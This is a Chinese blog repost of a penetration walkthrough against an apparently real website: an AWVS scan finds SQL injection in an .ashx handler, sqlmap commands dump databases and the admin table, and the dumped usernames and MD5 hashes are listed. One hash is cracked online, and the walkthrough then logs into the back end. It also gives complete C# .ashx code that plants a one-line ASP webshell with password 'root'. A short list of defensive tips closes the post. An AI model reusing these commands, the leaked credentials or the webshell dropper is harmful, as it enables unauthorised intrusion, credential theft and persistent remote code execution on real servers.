使用sqlmap进行ashx注入

admin 2022年7月23日20:58:32评论199 views字数 4111阅读13分42秒阅读模式

      ashx文件是.net 2.0新增文件类型,它是.netajax请求的页面,扩展名为ashx是用于写web handler,可以通过它来调用IHttpHandler类,它免去了普通aspx页面的控件解析以及页面处理的过程。ashx文件适合产生供浏览器处理的、不需要回发处理的数据格式,例如用于生成动态图片、动态文本等内容。使用.ashx 可以专注于编程而不用管相关的WEB技术。ashx必须包含IsReusableashx优点比aspx简洁,只有一个文件,没有后台cs文件,aspx要将前后台显示和处理逻辑分开,所以就弄成了两个文件,其实,在最终编译的时候,aspxcs还是会编译到同一个类中去。这中间就要设计html的一些逻辑处理。而ashx不同,它只是简单的对web http请求的直接返回想要返回的结果。比aspx少处理了html的过程。理论上比aspx要快,因此在很多网站中会发现存在ashx页面,在ashx页面中如果对参数处理不当也容易产生注入等漏洞。

3.9.1批量扫描某目标网站

1.批量扫描

  在某些扫描过程中,当使用AWVS进行扫描时,对目标URL进行扫描时,有可能在扫描设置结束后,AWVS会通过首页识别多个URL,同时会询问是否对多个目标进行扫描,选中需要进行扫描的目标,即可进行批量目标地址扫描,但是需要注意,选择目标不能太多,否则会因为资源消耗导致服务器瘫痪。

2.扫描结果查看

 扫描结束后,如图1所示,在AWVS中会显示各个目标的扫描结果,在本例中可以看到第一个扫描目标没有发现漏洞,仅仅显示8个警告信息;而第二个目标地址显示有44个警告信息,其中Ajax/Handler.ashx存在8SQL盲注漏洞,Download.aspx存在2个注入漏洞,ProductList.aspx也存在一个SQL注入漏洞。

使用sqlmap进行ashx注入

1查看扫描结果

3.扫描漏洞处理

通过“View HTTP headers”,将其请求的头文件数据包信息全部复制到一个文本文件中,将其保存为20190529.txt,其内容如下:

GET /Ajax/Handler.ashx?mod=SearchCompay&province=-1 HTTP/1.1

X-Requested-With: XMLHttpRequest

Referer: http://www.************.com/

Cookie: bdshare_firstime=1527467414921; BAIDUID=6A851142260B7CAE157FA8546CE89DED:FG=1

Host: www. ************.com

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21

Accept: */*

3.9.2 SQL注入漏洞利用

1.使用sqlmap进行注入测试

  20190529.txt文件复制到sqlmap目录,执行命令:sqlmap.py -r 20190529.txt,如图2所示,对该sql盲注进行漏洞测试,sqlmap反馈显示该漏洞点存在,数据库为Microsoft SQL Server

使用sqlmap进行ashx注入

2sql注入点测试

2.获取sql注入类型

  如图3所示,sqlmap扫描结束后,会给出该sql注入点的详细漏洞情况,表明该漏洞点为给出错注入(error-based,操作系统为Windows2012R2、数据库为SQL Server 2012版本。

使用sqlmap进行ashx注入

3获取sql注入类型

3.获取数据库名称

  使用sqlmap.py -r 20190529.txt --dbs获取当前注入点下所有的数据库,如图4所示,除了系统自带的数据库外,目标数据为zjweb-shumazjweb-yiliao

使用sqlmap进行ashx注入

4获取数据名称

4.获取数据库表及数据内容

1)获取当前数据库:sqlmap.py -r 20190529.txt --current-db

2)获取当前数据库下的所有表:sqlmap.py -r 20190529.txt -D zjweb-shuma --tables

+------------------------+---------+

| Table | Entries |

+------------------------+---------+

| dbo.T_FAQ | 23561   |

| dbo.T_ProductsGallery | 132     |

| dbo.T_Information | 107     |

| dbo.vw_Information | 74      |

| dbo.T_RoleFunction | 63      |

| dbo.T_Function | 43      |

| dbo.T_BaseType | 41      |

| dbo.sw_OrderDetail | 31      |

| dbo.sw_Product | 30      |

| dbo.T_UserRoleFunction | 24 |

| dbo.T_IndexPicture | 17      |

| dbo.sw_Order | 15      |

| dbo.vw_Product | 15      |

| dbo.T_Tickets | 14      |

| dbo.T_Reservation | 13      |

| dbo.T_User | 13      |

| dbo.T_UserInfo | 13      |

| dbo.VW_UserInfo | 13      |

| dbo.D99_Tmp | 8       |

| dbo.T_Compay | 7       |

| dbo.T_MetaSeeker | 6       |

| dbo.T_Job | 5       |

| dbo.vw_Job | 5       |

| dbo.T_Admin | 4       |

| dbo.T_Role | 4       |

| dbo.sw_cart | 3       |

| dbo.T_SysConfig | 3       |

| dbo.sw_ProductsComment | 2 |

| dbo.T_Advertisement | 2       |

| dbo.T_Apply | 2       |

| dbo.T_Message | 2       |

| dbo.D99_CMD     | 1      |

| dbo.sw_Payment | 1       |

| dbo.T_Link | 1       |

| dbo.T_Template | 1       |

| dbo.T_WebSite | 1       |

| dbo.vw_link | 1       |

3)获取某T_Admin表内容:sqlmap.py -r 20190529.txt -D zjweb-shuma -T T_Admin dump

整理起管理员名称及其密码如下:

admin | c582f598fb83a9c71d7fcb13c8788ae6

admin123 | e10adc3949ba59abbe56e057f20f883e

joyce.jin | 3ab01674181aeeae35e0eb89425953e5

lixin.ge | b5a48c5518bcc3d9a69e349e4749118b

3.9.4获取后台管理员权限

1.破解后台管理员密码

  将前面获取的管理员密码复制到somd5.com网站进行破解,如图5所示,成功获取其管理员密码“123456jin”。

使用sqlmap进行ashx注入

5获取后台管理员密码

2.寻找后台地址

  通过前面的扫描结果,未能获取后台登陆地址,可以通过百度搜索引擎对目标站点进行后台管理进行搜索,如图6所示,成功获取后台登陆地址。

使用sqlmap进行ashx注入

6后台管理地址搜索

3.登录后台

  在百度搜索结果中将其后台地址打开,输入获取的密码,如图7所示,成功进去其后台,至此获取了后台管理员权限。

使用sqlmap进行ashx注入

7获取后台管理员权限

3.9.5渗透总结及安全防范

1.渗透总结

  在本例中介绍对同一个目标扫描时,对首页链接地址中的多个目标同时进行扫描,扫描结束后,通过分析ashx注入来获取后台管理权限。

1)很多sql注入可以通过抓包或者查看HTTP头数据来进行get注入。

2)可以通过百度等搜索引擎来查看后台地址。

3)还可以通过登录后台后对“DesignCMS@35”关键字进行搜索,获取源代码进行代码审计,来获取更多漏洞。

2. ashx在根目录生成一句话后门root.asp,密码root,将以下代码保存为1.ashx,上传访问即可。

<%@ WebHandler Language="C#" Class="Handler" %>

using System;

using System.Web;

using System.IO;

public class Handler : IHttpHandler {

public void ProcessRequest (HttpContext context) {

context.Response.ContentType = "text/plain";

StreamWriter file1= File.CreateText(context.Server.MapPath("root.asp"));

file1.Write("<%response.clear:execute request(/"root/"):response.End%>");

file1.Flush();

file1.Close();

}

public bool IsReusable {

get {

return false;

}

}

}

2.安全防范

1)对aspx网站所有编码进行代码审计,特别对非aspx页面要高度重视,目前aspx页面的注入相对较少,但在一些soap服务等则经常发现存在注入。

2)设置后台强密码,有时候虽然可以获取网站的后台管理员密码,但由于管理员密码是强加密,通过在线密码破解网站无法获取结果,攻击者需要花费大量时间才能破解。

3)在服务器上部署安全防范软件,尤其是waf软件。


原文始发于微信公众号(小兵搞安全):使用sqlmap进行ashx注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月23日20:58:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用sqlmap进行ashx注入https://cn-sec.com/archives/1195185.html

发表评论

匿名网友 填写信息